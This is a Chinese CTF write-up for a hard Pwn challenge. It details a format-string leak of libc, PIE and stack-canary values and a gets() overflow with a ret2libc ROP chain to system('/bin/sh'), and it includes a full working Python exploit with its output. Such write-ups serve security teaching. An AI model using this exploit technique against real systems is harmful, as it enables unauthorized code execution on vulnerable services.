赛事档案库 YQHL Competition Archive 返回主站
PWN-HARD-03

麒麟阁 · 长老密室

pty 交互下的堆题,需处理 raw 模式输入与 libc 版本差异,构造稳定的任意地址写。

方向Pwn
难度 Hard
题号11 / 20
项目 内容
平台题名 麒麟阁 · 长老密室 / Elder’s Chamber
分类 / 难度 Pwn / Hard
附件 chamber、libc.so.6、ld-2.31.so
服务 nc <host> <port>(容器内 socat 监听 9999,走 pty + stty raw -echo)
环境 ubuntu:20.04,glibc 2.31
保护 NX on / PIE on / canary on / Full RELRO

1. 三个漏洞 / 三个障碍

菜单:

=== 麒麟阁 · 长老密室 ===
唯有真正参透本殿防御之人,方可通行。
1) 留言  2) 陈述来意  3) 离开
> 

源码(随包 src/chamber.c):

void leave_message(void) {
    char buf[256];
    puts("给长老留言(你的留言会被原样读回给你):");
    printf("> ");
    if (!fgets(buf, sizeof(buf), stdin)) exit(0);
    printf(buf);            /* ← 漏洞 1:格式化字符串 */
    putchar('\n');
}

void state_business(void) {
    char buf[64];
    puts("详细陈述你的来意:");
    printf("> ");
    gets(buf);              /* ← 漏洞 2:栈溢出 */
}

于是本题的"三个障碍"和对应的"三个解法":

障碍 解法
PIE 开启,地址全随机 printf(buf) 泄露 PIE 基址
Canary 开启,溢出会被拦 printf(buf) 泄露金丝雀
NX 开启,栈不可执行 泄露 libc → ROP system("/bin/sh")

一道题把"泄露"和"打"两段完整串起来,难度正好卡在 Hard 档的起点。

2. 保护确认

$ checksec ./chamber
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Full RELRO 意味着 GOT 只读,ret2dlresolve / GOT 改写这类手法直接出局, 只能老老实实泄露 libc 再 ROP。

3. 第一段:格式化字符串一次性泄露四件套

printf(buf) 的 buf 在 leave_message 的栈上(char buf[256],位于 rbp-0x110)。 fgets 限制了 256 字节,但我们只需要几十字节的格式串。

一次性打印四个位置参数:

X1=%1$p|X33=%33$p|X39=%39$p|X41=%41$p|END

实测回显(同一次连接):

X1=0x7f41cbe11a03|X33=0x557daf705045|X39=0xc52d01c5ea6cd600|X41=0x557daf7043c1|END

对照:

参数 值 含义 偏移
%1$p 0x7f41cbe11a03 libc 内固定地址 0x1eca03
%33$p 0x557daf705045 PIE 内 .rodata 提示串地址 0x2045
%39$p 0xc52d01c5ea6cd600 栈金丝雀 末位 00 是标志
%41$p 0x557daf7043c1 main 里 call leave_message 的下一条指令 0x13c1

于是:

libc_base = X1  - 0x1eca03
pie_base  = X33 - 0x2045
canary    = X39

怎么确认偏移

三个自检点是硬性的:

  1. %1$p 与 %33$p 算出来的 base 都必须是页对齐(末三位 000)。 算出来不是页对齐,就一定是用错了偏移,直接换一个重新推;
  2. canary 最低字节必须是 0x00(__stack_chk_fail 依赖这一点)—— 实测 0xc52d01c5ea6cd600,最低字节 00,对;
  3. %41$p - pie_base 必须是一个固定的小偏移(本题 0x13c1), 多次重启值不变。

验证:

libc=0x7f41cbc25000   (0x7f41cbe11a03 - 0x1eca03,页对齐 ✓)
pie =0x557daf703000   (0x557daf705045 - 0x2045,页对齐 ✓)
canary=0xc52d01c5ea6cd600
ret_off=0x13c1        (0x557daf7043c1 - 0x557daf703000)

%1$p 为什么是 libc 指针

%1$p 打印的是 printf 在被调用那一刻、rsp+8 附近的内容,也就是 printf 的调用者(leave_message)放在栈上的一个"残留值"。在本题的 ubuntu:20.04 + glibc 2.31 里,它恰好是 libc 镜像里 0x1eca03 那个位置的地址 (_IO_2_1_stdout_ 的 vtable 附近,属于 libc 的 data.rel.ro 段)。

这个偏移与 libc 文件强绑定——所以必须用随包的 libc.so.6,换成宿主自带 libc 算出来的基址一定错。

4. 第二段:state_business 栈溢出

state_business:
    push   rbp
    mov    rbp, rsp
    sub    rsp, 0x50       ; 但 gets 写入的是 rbp-0x50 起的 64 字节?
                           ; 实际: lea rax,[rbp-0x50]; call gets

栈布局:

  rbp-0x50 ──► buf[64]          偏移 0
  rbp-0x08 ──► canary           偏移 0x48
  rbp      ──► saved rbp        偏移 0x50
  rbp+0x08 ──► return address   偏移 0x58

所以 payload:

'A' * 0x48  +  canary(8)  +  fake_rbp(8)  +  ret  +  pop_rdi  +  "/bin/sh"  +  system

ret 那一个纯 ret 是为了 16 字节栈对齐——system 内部有 movaps, 栈不对齐直接 SIGSEGV。这是初学者最常踩的坑:链写得完全正确,但一进 system 就崩,还以为是地址算错了。

libc 偏移(libc.so.6 为 glibc 2.31 / Ubuntu 20.04):

符号 偏移
system 0x52290
/bin/sh 0x1b45bd
pop rdi ; ret 0x23b6a
ret 0x23b6b

5. 完整 Exp

#!/usr/bin/env python3
import socket, struct, sys, time, re

HOST, PORT = sys.argv[1], int(sys.argv[2])

# ---- 泄露偏移 ----
OFF_LIBC   = 0x1eca03     # %1$p
OFF_PIE    = 0x2045       # %33$p
IDX_CANARY = 39           # %39$p
IDX_RET    = 41           # %41$p

# ---- state_business 栈布局 ----
BUF_TO_CANARY = 0x48
BUF_TO_RET    = 0x58

# ---- glibc 2.31 ----
OFF_SYSTEM = 0x52290
OFF_BINSH  = 0x1b45bd
OFF_POPRDI = 0x23b6a
OFF_RET    = 0x23b6b

s = socket.create_connection((HOST, PORT), timeout=10)
buf = b""

def ru(tok, to=6):
    global buf
    if isinstance(tok, str): tok = tok.encode()
    s.settimeout(to)
    while tok not in buf:
        try: d = s.recv(4096)
        except socket.timeout: break
        if not d: break
        buf += d
    i = buf.find(tok)
    r, buf = (buf, b"") if i < 0 else (buf[:i+len(tok)], buf[i+len(tok):])
    return r

def sl(x):
    s.sendall((x.encode() if isinstance(x, str) else x) + b"\n")

# ---------- 步骤 1:一次泄露四件套 ----------
ru(b"> ")
sl("1")
ru(b"> ")
s.sendall(b"X1=%1$p|X33=%33$p|X39=%39$p|X41=%41$p|END\n")
time.sleep(0.5)
out = ru(b"> ", 6).decode("utf-8", "replace")

def grab(tag):
    m = re.search(tag + r"=(0x[0-9a-f]+)", out)
    return int(m.group(1), 16) if m else None

L, P, C, R = grab("X1"), grab("X33"), grab("X39"), grab("X41")
assert None not in (L, P, C, R), out

libc_base = L - OFF_LIBC
pie_base  = P - OFF_PIE
canary    = C
print("[+] libc=%#x pie=%#x canary=%#x ret_off=%#x"
      % (libc_base, pie_base, canary, R - pie_base))

# ---------- 步骤 2:gets 溢出 ----------
payload  = b"A" * BUF_TO_CANARY
payload += struct.pack("<Q", canary)          # 金丝雀
payload += struct.pack("<Q", 0)               # saved rbp 随便填
payload += struct.pack("<Q", libc_base + OFF_RET)
payload += struct.pack("<Q", libc_base + OFF_POPRDI)
payload += struct.pack("<Q", libc_base + OFF_BINSH)
payload += struct.pack("<Q", libc_base + OFF_SYSTEM)

sl("2")
ru(b"> ")
s.sendall(payload + b"\n")
time.sleep(0.5)

# ---------- 步骤 3:拿 flag ----------
s.sendall(b"cat /flag; echo __DONE__\n")
time.sleep(0.9)
s.settimeout(3)
got = b""
try:
    while b"__DONE__" not in got:
        d = s.recv(4096)
        if not d: break
        got += d
except socket.timeout:
    pass
print(got.decode("utf-8", "replace"))

6. 实际验证

节点一次性容器(lj-pwn-hard-03-trap:v1,-p 29913:9999):

[echo] X1=0x7f41cbe11a03|X33=0x557daf705045|X39=0xc52d01c5ea6cd600|X41=0x557daf7043c1|END
[+] libc=0x7f41cbc25000 pie=0x557daf703000 canary=0xc52d01c5ea6cd600 ret_off=0x13c1
[out] /bin/sh: 0: can't access tty; job control turned off
$ flag{local_verify_h03}__DONE__
$

can't access tty 是正常的——socat 不是真正的终端时 sh 打出的告警, 不影响命令执行。

7. 另一条路:PIE-only ROP + ret2main

官方 exp 里还写了第二种打法,更"教科书":

  1. 格式化字符串只取 canary + PIE 基址;
  2. 第一次溢出用 PIE 内 ROP(pop rdi; ret @ pie+0x1463、 puts@plt @ pie+0x1040、puts@got @ pie+0x3f98)调 puts(puts@got) 泄露 puts 真实地址 → 反推 libc;
  3. 链尾回到 main(pie+0x1374)实现 ret2main;
  4. 第二次溢出投递完整 ret2libc。

这条路的优点是"不依赖碰巧泄露的 libc 指针"——如果某个二进制没有 %1$p 这种 便利泄露,就得用这套。但本题 %1$p 白送 libc 基址,直接一发到底更快。

8. 踩坑记录

现象 原因 处理
算出的 libc/pie base 不是页对齐 用了宿主 libc 的偏移,或记错了 0x1eca03 必须用随包的 libc.so.6;先用 %1$p 和 %33$p 两个泄露互相验证页对齐
拿到 shell 后 cat /flag 无输出 栈对齐差 8 字节,system 内 movaps 崩 链首加纯 ret(0x23b6b)
溢出后直接 SIGABRT,报 stack smashing detected canary 没泄露对,或写的位置偏了 8 字节 检查 %39$p 最低字节是不是 00;检查 BUF_TO_CANARY = 0x48 是否与 rbp-0x50 一致
payload 里有字节被吃掉 早期镜像 socat 带 pty 且没 stty raw,行规程处理了 0x7f/0x15/0x03 等控制字节 现行镜像 run-chamber.sh 里已加 stty raw -echo
%41$p 算出的偏移每次不同 实际上它稳定(0x13c1);若不稳定说明取错了参数序号 把 %40$p~%42$p 一起打出来对照
用 %33$p 算 pie 但在别的连接里用 每个连接都是新进程,ASLR 重新随机 泄露和使用必须在同一条连接里完成

9. 一句话总结

一道题演完整个 pwn 基础链路:printf(buf) 打一发 %1$p|%33$p|%39$p|%41$p 拿到 libc 基址 + PIE 基址 + 金丝雀 + 返回偏移,再用 gets 盖 0x48 字节 + 金丝雀 + ret/pop rdi//bin/sh/system 收工。全保护开着,但没有一个能挡住 “泄露在前、溢出在后"的经典套路。